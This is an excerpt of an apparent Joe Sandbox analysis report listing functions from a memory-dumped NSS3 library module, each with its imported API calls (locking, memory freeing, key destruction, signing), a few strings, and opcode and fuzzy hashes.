Opcode ID: 2652eac30a2e495cb0efa91e5cd82534e0e96d044b897083b037352cfe5b44cf
Instruction ID: e9d0ecd5c3368b7222379cb94cc3f6cc3cbe5aed1082911533c5b872d8f7b8b9
Opcode Fuzzy Hash: 2652eac30a2e495cb0efa91e5cd82534e0e96d044b897083b037352cfe5b44cf
Instruction Fuzzy Hash: C0A129719082C49BEB008B24DC45B6B32A4DB89B8CF248939EA59DBB81E775D845C793

Function 6CBAAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAAF39
PR_Unlock.NSS3(?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAAF69
TlsGetValue.KERNEL32 ref: 6CBAB06B
EnterCriticalSection.KERNEL32(?), ref: 6CBAB083
PR_Unlock.NSS3(?), ref: 6CBAB0A4
TlsGetValue.KERNEL32 ref: 6CBAB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CBAB0D9
PR_Unlock.NSS3 ref: 6CBAB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBAB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBAB182

Part of subcall function 6CBDFAB0: free.MOZGLUE(?,-00000001,?,?,6CB7F673,00000000,00000000), ref: 6CBDFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CBAB177

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CB8AB95,00000000,?,00000000,00000000,00000000), ref: 6CBAB1C2

Part of subcall function 6CBD1560: TlsGetValue.KERNEL32(00000000,?,6CBA0844,?), ref: 6CBD157A
Part of subcall function 6CBD1560: EnterCriticalSection.KERNEL32(?,?,?,6CBA0844,?), ref: 6CBD158F
Part of subcall function 6CBD1560: PR_Unlock.NSS3(?,?,?,?,6CBA0844,?), ref: 6CBD15B2

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: c89b836a5e4fae082810e9e65b712b4c9c8a2ee5b511fb90fda9ab82ae30a12d
Instruction ID: 509ea8717d903ea5a689a9017ffa801290441cf4e4c830269399f893a6da9ee0
Opcode Fuzzy Hash: c89b836a5e4fae082810e9e65b712b4c9c8a2ee5b511fb90fda9ab82ae30a12d
Instruction Fuzzy Hash: B9A191B1D04249ABEF009FA4DC41BEEB7B4EF09308F144125E915A7751E731E95ACBE1

Function 6CBFAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBFADB1

Part of subcall function 6CBDBE30: SECOID_FindOID_Util.NSS3(6CB9311B,00000000,?,6CB9311B,?), ref: 6CBDBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBFADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBFAE08

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBFAE25
PL_FreeArenaPool.NSS3 ref: 6CBFAE63
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBFAE4D

Part of subcall function 6CB04C70: TlsGetValue.KERNEL32(?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04C97
Part of subcall function 6CB04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CB0
Part of subcall function 6CB04C70: PR_Unlock.NSS3(?,?,?,?,?,6CB03921,6CCE14E4,6CC4CC70), ref: 6CB04CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBFAE93
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CBFAECC
PL_FreeArenaPool.NSS3 ref: 6CBFAEDE
PL_FinishArenaPool.NSS3 ref: 6CBFAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBFAEF5
PL_FinishArenaPool.NSS3 ref: 6CBFAF16

Strings

security, xrefs: 6CBFADEE

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: c26f3e0803645b474d1f9bbe5919fd6a4f43f94b57da8998d747a90871e7052b
Instruction ID: 14cef0bb92834cc4521badbe4a0e0bb085ebcf29f38b8ab5ac3a87455b306105
Opcode Fuzzy Hash: c26f3e0803645b474d1f9bbe5919fd6a4f43f94b57da8998d747a90871e7052b
Instruction Fuzzy Hash: 0D4128B290029067EB254B24DC44BAE32B8EF4675CF200525E964D7F81FB35A54ECED3

Function 6CC9AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC49890: TlsGetValue.KERNEL32(?,?,?,6CC497EB), ref: 6CC4989E

EnterCriticalSection.KERNEL32(?), ref: 6CC9AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CC9AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CC9AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CC9AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CC9B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC9B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC9B070
PR_JoinThread.NSS3(?), ref: 6CC9B07B
free.MOZGLUE(?), ref: 6CC9B084
EnterCriticalSection.KERNEL32(?), ref: 6CC9B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CC9B0C4
PR_JoinThread.NSS3(?), ref: 6CC9B0F3
free.MOZGLUE(?), ref: 6CC9B0FC
PR_JoinThread.NSS3(?), ref: 6CC9B137
free.MOZGLUE(?), ref: 6CC9B140

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 300a2030ddde446456455c628a78bdcbc6a938b750e960c9a43800508558ee1a
Instruction ID: 029a3944cb8babf97756d964a5fd3bc89f104ef0fe35935754598de011bdb9ae
Opcode Fuzzy Hash: 300a2030ddde446456455c628a78bdcbc6a938b750e960c9a43800508558ee1a
Instruction Fuzzy Hash: E7916CB6900611DFCB14DF15C89084ABBF5FF49318729C5A9D81A9BB22E732FC46CB90

Function 6CC15CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CC12BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC12A28,00000060,00000001), ref: 6CC12BF0
Part of subcall function 6CC12BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC12A28,00000060,00000001), ref: 6CC12C07
Part of subcall function 6CC12BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CC12A28,00000060,00000001), ref: 6CC12C1E
Part of subcall function 6CC12BE0: free.MOZGLUE(?,00000000,00000000,?,6CC12A28,00000060,00000001), ref: 6CC12C4A

free.MOZGLUE(?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D0F
free.MOZGLUE(?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D4E
free.MOZGLUE(?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D62
free.MOZGLUE(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D85
free.MOZGLUE(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15D99
free.MOZGLUE(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC15E3E
free.MOZGLUE(?,?,?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC15E47
free.MOZGLUE(?,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC180C1), ref: 6CC15E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CC1AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC15E78
free.MOZGLUE(?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC15EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC15EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC15F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC15F4B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: efa515eff6f9965c71aa04d4d44c780c294e0f295a1ff7fd84cf4ea1fac8fb32
Instruction ID: ffc23cf3d259d7231ad53f41dcfd12030d0685143747f4152415a7f4d57425cb
Opcode Fuzzy Hash: efa515eff6f9965c71aa04d4d44c780c294e0f295a1ff7fd84cf4ea1fac8fb32
Instruction Fuzzy Hash: 49719EB9E04B019FD700DF24D884A92B7B5FF89308F148569E85E87B11EB32F955CB92

Function 6CB98DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CB98E22
EnterCriticalSection.KERNEL32(?), ref: 6CB98E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CB98E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CB98E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB98E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB98EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CB98EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB98EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CB98F00
free.MOZGLUE(?), ref: 6CB98F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CB98F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CB98F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CB98F5B
PR_Unlock.NSS3(?), ref: 6CB98F72
PR_Unlock.NSS3(?), ref: 6CB98F82

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 2ad5d7a88ebb0034750a8d7544fa23dbde4366920e9671b5bab3ca60def90cf0
Instruction ID: 2c32eb928bfddbb6482ef4b097a9954a15cbf0cf1d697a35ced4d2536a9d9738
Opcode Fuzzy Hash: 2ad5d7a88ebb0034750a8d7544fa23dbde4366920e9671b5bab3ca60def90cf0
Instruction Fuzzy Hash: 3C51D2B2E00615AFEB009F68CC8496EB7B9FF56358F15453AE8089B710E732ED4587E1

Function 6CC90FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CC91000

Part of subcall function 6CC49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB71A48), ref: 6CC49BB3
Part of subcall function 6CC49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB71A48), ref: 6CC49BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC91016

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_Unlock.NSS3(?), ref: 6CC91021

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC91046
PR_Unlock.NSS3(?), ref: 6CC9106B
PR_Lock.NSS3 ref: 6CC91079
PR_Unlock.NSS3 ref: 6CC91096
free.MOZGLUE(?), ref: 6CC910A7
free.MOZGLUE(?), ref: 6CC910B4
PR_DestroyCondVar.NSS3(?), ref: 6CC910BF
PR_DestroyCondVar.NSS3(?), ref: 6CC910CA
PR_DestroyCondVar.NSS3(?), ref: 6CC910D5
PR_DestroyCondVar.NSS3(?), ref: 6CC910E0
PR_DestroyLock.NSS3(?), ref: 6CC910EB
free.MOZGLUE(?), ref: 6CC91105

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 7d250e5aca7c7cd71a2dad835d84e3a94050eccef49016a52d130c77ea153cd7
Instruction ID: 96cdb6f27556177a79d4c50b746452d456bed4b9f1e623f826b203e8a0cac0c5
Opcode Fuzzy Hash: 7d250e5aca7c7cd71a2dad835d84e3a94050eccef49016a52d130c77ea153cd7
Instruction Fuzzy Hash: 5D316AB5900851ABE7119F19ED42A89B779FF05318F584170E80912F61F732F9B8DBD2

Function 6CBA5E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBA5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CBA5EE3
PR_Unlock.NSS3(?), ref: 6CBA5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CBA5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CBA61F4

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 30dad8fc9f78fc94e2a5e03688c757e969075ecb67de1165a74b68b5f054742a
Instruction ID: ccb867b139e34f06b2694a3dd54f14b96120ccc6768471c736a4c8fdef41651f
Opcode Fuzzy Hash: 30dad8fc9f78fc94e2a5e03688c757e969075ecb67de1165a74b68b5f054742a
Instruction Fuzzy Hash: D1F117B5A042158FDB54CF58C88478ABBF4FF09304F1581AADC489B346E775EA89CF91

Function 6CB0DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB0DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CB0DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB0DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CB0DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB0DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0DF6D, 6CB0DFCC, 6CB0DFDD
%s at line %d of [%.10s], xrefs: 6CB0DF7C, 6CB0DFEC
database corruption, xrefs: 6CB0DF77, 6CB0DFE7

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 9ca62c4a8bc3ff864706b783c74ddc334dc95d0f69f270f033ab2237dcfdf5be
Instruction ID: 2cdd44e6ab6cb0be447233cb0c325e8535728da36db89723b4ce1f5798b4c186
Opcode Fuzzy Hash: 9ca62c4a8bc3ff864706b783c74ddc334dc95d0f69f270f033ab2237dcfdf5be
Instruction Fuzzy Hash: 00A1F8717042919FC710DF39D880A6ABBF5EF95308F15896DF8898BB91E730E845CB92

Function 6CBCEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CBCEE0B

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBCEEE1

Part of subcall function 6CBC1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CBC1D7E
Part of subcall function 6CBC1D50: EnterCriticalSection.KERNEL32(?), ref: 6CBC1D8E
Part of subcall function 6CBC1D50: PR_Unlock.NSS3(?), ref: 6CBC1DD3

TlsGetValue.KERNEL32 ref: 6CBCEE51
EnterCriticalSection.KERNEL32(?), ref: 6CBCEE65
PR_Unlock.NSS3(?), ref: 6CBCEEA2
free.MOZGLUE(?), ref: 6CBCEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CBCEED0
PR_Unlock.NSS3(?), ref: 6CBCEF48
free.MOZGLUE(?), ref: 6CBCEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CBCEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CBCEFA4
free.MOZGLUE(?), ref: 6CBCEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBCF055
free.MOZGLUE(?), ref: 6CBCF060

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: d9ffad2abffc87c2c955233f1eb34218d9a20850130e6a3aa4233818dad94b98
Instruction ID: 78682c97a6b0446a7fc51a95ac9c5e7a6bf7e491a151b92c2084285b430471f1
Opcode Fuzzy Hash: d9ffad2abffc87c2c955233f1eb34218d9a20850130e6a3aa4233818dad94b98
Instruction Fuzzy Hash: 72818471E002499BEF00DFA4DC45ADE7BB5FF08358F544024E909A7711E731E954CBA2

Function 6CB94CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CB94D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CB94D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CB94DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB94E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CB94E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CB94E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CB94E85
DER_Encode_Util.NSS3(?,?,6CCE05A4,00000000), ref: 6CB94EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CB94F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CB94F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB94F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB94F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB94F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB94FC8

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 013ac8ff7bf6d236f6ee6a8e9e628aa3ac26bc0afc31c9aa8e1c11351ce029ab
Instruction ID: 4a641ef98ca6649722e1dddcb4d3fe23e1bd81ba08a01cf75b5a127e3412b5dd
Opcode Fuzzy Hash: 013ac8ff7bf6d236f6ee6a8e9e628aa3ac26bc0afc31c9aa8e1c11351ce029ab
Instruction Fuzzy Hash: FA818F719083429FEB01CF24D840B5AB7E4EB8A758F158939F96DDB641EB30E905CB92

